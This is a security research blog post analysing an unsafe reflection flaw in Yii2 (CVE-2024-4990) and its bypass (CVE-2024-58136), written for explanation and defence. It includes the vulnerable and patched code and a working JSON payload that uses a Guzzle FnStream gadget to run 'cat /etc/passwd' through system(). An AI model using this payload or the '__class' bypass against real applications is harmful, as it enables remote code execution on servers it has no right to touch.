CVE-2024-4990

Magic Methods, Tragic Endings: RCE in Yii2 via Unsafe Reflection

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 7, 2026·5 min read

Executive Summary (TL;DR)

Yii2's `__set()` magic method allows attaching 'Behaviors' (mixins) dynamically using keys starting with `as `. Due to missing type validation, an attacker can pass a class definition instead of a Behavior. The framework passes this definition to `Yii::createObject()`, allowing the instantiation of ANY class in the autoloader. This leads to RCE via destructor gadgets.

A critical unsafe reflection vulnerability in the Yii Framework 2 core component system allows attackers to execute arbitrary code by manipulating magic methods used for behavior attachment. By injecting a crafted payload into a model via mass assignment, attackers can trick the framework into instantiating arbitrary classes (like gadgets in Guzzle) leading to RCE.

The Hook: When Magic Becomes Black Magic

In the world of PHP frameworks, "Magic Methods" are the double-edged sword that developers love and security researchers drool over. Yii2 heavily relies on __set() to implement its component system. The idea is elegant: you can dynamically attach "Behaviors" (think of them as run-time mixins or traits) to any component just by setting a property.

For example, if you want to add timestamping capabilities to a User model, you simply configure a property like as TimestampBehavior. Under the hood, Yii2 intercepts this assignment in the __set() method, instantiates the behavior class, and attaches it. It makes the code clean and flexible.

But here's the catch: essentially, this mechanism is a dynamic object factory exposed to property setters. If an application blindly takes user input (like a JSON body from a POST request) and dumps it into a component's properties—a practice known as Mass Assignment—the user effectively controls the factory. They aren't just setting values; they are architecting the object graph.

The Flaw: A Factory Without a Foreman

The vulnerability lies within yii\base\Component::__set(). This method checks if the property name starts with the string "as ". If it does, the framework assumes you are trying to attach a behavior.

Here is the logic flow that doomed the framework:

  1. The code sees "as myName".
  2. It strips the prefix to get "myName".
  3. It takes the value assigned to that property.
  4. It passes that value straight into Yii::createObject($value).

Yii::createObject is a powerful Dependency Injection factory. It doesn't just create Behavior objects; it creates anything. It looks for a class key in the configuration array and instantiates it. Crucially, in the vulnerable versions, there was zero validation to ensure the resulting object was actually a subclass of yii\base\Behavior. The factory was open to the public, and no foreman was checking the blueprints.

The Code: The Smoking Gun

Let's look at the vulnerable code in framework/base/Component.php. It's deceptively simple.

// PRE-PATCH (Vulnerable)
} elseif (strncmp($name, 'as ', 3) === 0) {
    // as behavior: attach behavior
    $name = trim(substr($name, 3));
    // THE BUG: No check on what createObject returns!
    $this->attachBehavior($name, $value instanceof Behavior ? $value : Yii::createObject($value));
    return;
}

The fix involves adding a strict type check before allowing the object creation to proceed. The developers had to ensure that whatever definition was passed in specifically inherited from yii\base\Behavior.

// PATCHED (Safe-ish)
} elseif (strncmp($name, 'as ', 3) === 0) {
    // ...
    if ($value instanceof Behavior) {
        $this->attachBehavior($name, $value);
    } elseif (isset($value['class']) && is_subclass_of($value['class'], 'yii\base\Behavior', true)) {
         // Only allow if it IS a Behavior
        $this->attachBehavior($name, Yii::createObject($value));
    } else {
        // Throw error if they try to instantiate Guzzle or PDO
        throw new InvalidConfigException('...');
    }
}

[!NOTE] The initial patch for this CVE (checking isset($value['class'])) was actually incomplete. Attackers bypassed it using __class (a Yii DI alias), leading to CVE-2024-58136.

The Exploit: From JSON to Shell

To exploit this, we need two ingredients: a mass-assignment entry point and a "gadget" class.

Step 1: The Entry Point Any controller action that loads request data into a model is vulnerable. This is standard boilerplate in Yii2:

public function actionUpdate($id) {
    $model = $this->findModel($id);
    // The attacker controls $_POST, so they control the properties set on $model
    if ($model->load(Yii::$app->request->post()) && $model->save()) { ... }
}

Step 2: The Payload We send a JSON payload (or form data) that utilizes the as <name> trigger. We configure it to instantiate a class that does something dangerous when created or destroyed. GuzzleHttp\Psr7\FnStream is a favorite because it executes a callback in its __destruct method.

{
  "Review": {
    "title": "Great Product",
    "as exploit": {
      "class": "GuzzleHttp\\Psr7\\FnStream",
      "_fn_close": "system",
      "_fn_arg": "cat /etc/passwd"
    }
  }
}

The Chain of Events:

  1. __set sees as exploit.
  2. Yii::createObject creates the FnStream object and sets _fn_close to system.
  3. The component tries to attach it as a behavior. This might fail or throw a warning because FnStream isn't a behavior, but the object already exists in memory.
  4. When the request ends (or the object is garbage collected), FnStream::__destruct() fires.
  5. It calls call_user_func($this->_fn_close, $this->_fn_arg).
  6. system('cat /etc/passwd') executes. Game over.

The Twist: The Failed Fix (CVE-2024-58136)

This story has a cynical sequel. The patch for CVE-2024-4990 specifically checked for the existence of the class key in the configuration array:

elseif (isset($value['class']) && ...)

Security researchers (and attackers) quickly realized that Yii's Dependency Injection container also accepts __class as an alias for class. By simply changing the payload key from class to __class, the check isset($value['class']) returned false, bypassing the validation logic entirely, yet Yii::createObject still happily processed the __class instruction.

This bypass was assigned CVE-2024-58136 and has been seen in active exploitation against platforms like Craft CMS. It is a classic example of patching the symptom (the specific array key) rather than the root cause (the unsafe instantiation flow).

The Impact: Why You Should Care

This is a full-blown Remote Code Execution (RCE) vulnerability. It does not require authentication if the vulnerable form is public (e.g., a contact form, registration page, or login page).

Even if RCE gadgets like Guzzle are not present, attackers can use the built-in PDO class to perform Blind SQL Injection or Server-Side Request Forgery (SSRF) by initiating database connections to attacker-controlled servers. The impact is essentially total compromise of the application and the underlying server.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.29%
Top 48% most exploited

Affected Systems

Yii Framework 2 (yiisoft/yii2) < 2.0.49.4Craft CMS (via underlying Yii2 dependency)HumHub (via underlying Yii2 dependency)Any PHP application using Yii2 components with mass assignment

Affected Versions Detail

Product
Affected Versions
Fixed Version
yiisoft/yii2
YiiSoft
< 2.0.49.42.0.49.4
AttributeDetail
CWECWE-470 (Unsafe Reflection)
CVSS v3.19.1 (Critical)
Attack VectorNetwork (POST/JSON)
Exploit StatusHigh (PoC Available & Bypass Active)
EPSS Score0.29%
Related CVECVE-2024-58136 (Bypass)
CWE-470
Unsafe Reflection

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Vulnerability Timeline

Yii 2.0.49.4 released with initial fix
2024-06-04
CVE-2024-4990 Published
2025-03-20
Active exploitation of regression (CVE-2024-58136) detected
2025-02-01

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.